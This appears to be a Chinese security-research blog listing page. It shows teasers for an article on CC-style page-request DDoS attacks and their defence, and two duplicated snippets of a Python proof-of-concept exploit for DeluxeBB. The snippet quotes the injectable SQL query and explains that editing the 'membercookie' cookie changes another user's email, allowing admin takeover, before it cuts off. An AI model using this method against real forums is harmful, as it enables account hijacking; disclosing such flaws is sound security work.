著名黑客工具CC攻击的思路及防范方法
前置知识:ASP基本阅读能力 蝴蝶:前段时间上海一家游戏娱乐公司的网站遭到了基于页面请求的DDOS分布式拒绝服务攻击，网站陷入完全瘫痪状态，并被黑客的匿名信勒索，金额高达10万元，而在勒索过程中，这群黑客还表示会对腾讯QQ等网站下手，随后QQ“服务器......
阅读全文 →SECURITY RESEARCH / ENGINEERING
文章与研究
在证据与实验中理解复杂系统。
DeluxeBB 0day Remote Change Admin's credentia
!/usr/bin/python -- coding: iso-8859-15 -- ''' § DeluxeBB 0day Remote Change Admin's credentials § PoC / Bug Explanation: When you update your profile, DeluxeBB execute a vulnerable query: $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')"); So, editing cookie "membercookie" you can change remote user's email. Enjoy ;) ''' import httplib, urllib, sys, md5 from random import randint print "\n################################################" print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change " print " Vulnerability Discovered By Nexen......
阅读全文 →DeluxeBB 0day Remote Change Admin's credentia
!/usr/bin/python -- coding: iso-8859-15 -- ''' § DeluxeBB 0day Remote Change Admin's credentials § PoC / Bug Explanation: When you update your profile, DeluxeBB execute a vulnerable query: $db->unbuffered_query("UPDATE ".$prefix."users SET email='$xemail', msn='$xmsn', icq='$xicq', ... WHERE (username='$membercookie')"); So, editing cookie "membercookie" you can change remote user's email. Enjoy ;) ''' import httplib, urllib, sys, md5 from random import randint print "\n################################################" print " DeluxeBB <= 1.09 Remote Admin's/User's Email Change " print " Vulnerability Discovered By Nexen......
阅读全文 →